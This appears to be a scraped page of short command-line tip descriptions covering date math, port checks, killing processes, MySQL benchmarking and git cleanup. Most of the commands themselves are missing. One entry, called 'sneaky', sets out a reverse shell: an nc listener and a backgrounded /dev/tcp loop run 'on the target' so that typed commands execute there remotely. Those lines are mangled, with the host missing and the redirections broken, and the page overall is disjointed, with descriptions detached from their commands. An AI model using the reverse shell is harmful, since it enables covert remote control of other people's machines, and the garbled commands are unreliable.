Check These Out
This command prints the Date (Not time) from 3 days ago (72 hours ago).
This works on systems without GNU date (MacOSX , Solaris, FreeBSD).
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"
If you wish to launch the kde4 screen saver without the password prompt to exit, use this command:
$ qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True
Also can be done with:
$ /usr/lib/kde4/libexec/kscreenlocker --forcelock
http://public-dns.info gives a list of online dns servers. you need to change the country in url (br in this url) with your country code. this command need some time to ping all IP in list.
This is a 'killall' command equivalent where it is not available.
Prior to executing it, set the environment variable USERNAME to the username, whose processes you want to kill or replace the username with the $USERNAME on the command above.
Side effect: If any processes from other users, are running with a parameter of $USERNAME, they will be killed as well (assuming you are running this as root user)
[-9] in square brackets at the end of the command is optional and strongly suggested to be your last resort. I do not like to use it as the killed process leaves a lot of mess behind.
should be very consistent cause it's google :-)
Benchmark a SQL query against MySQL Server.
The example runs the query 10 times, and you get the average runtime in the output. To ensure that the query does not get cached, use `RESET QUERY CACHE;` on top in the query file.
This is sneaky.
First, start a listening service on your box.
$ nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
$ exec 5/dev/tcp//8080;cat &5 >&5; done
You can send it to the background like this:
$ (exec 5/dev/tcp//8080;cat &5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
delete multiple files from git index that have already been deleted from disk. this is pretty terrible, I'm looking for a better way.
(much better!! http://www.commandlinefu.com/commands/view/1246/git-remove-files-which-have-been-deleted)
Requires the dc3dd package - available at http://dc3dd.sourceforge.net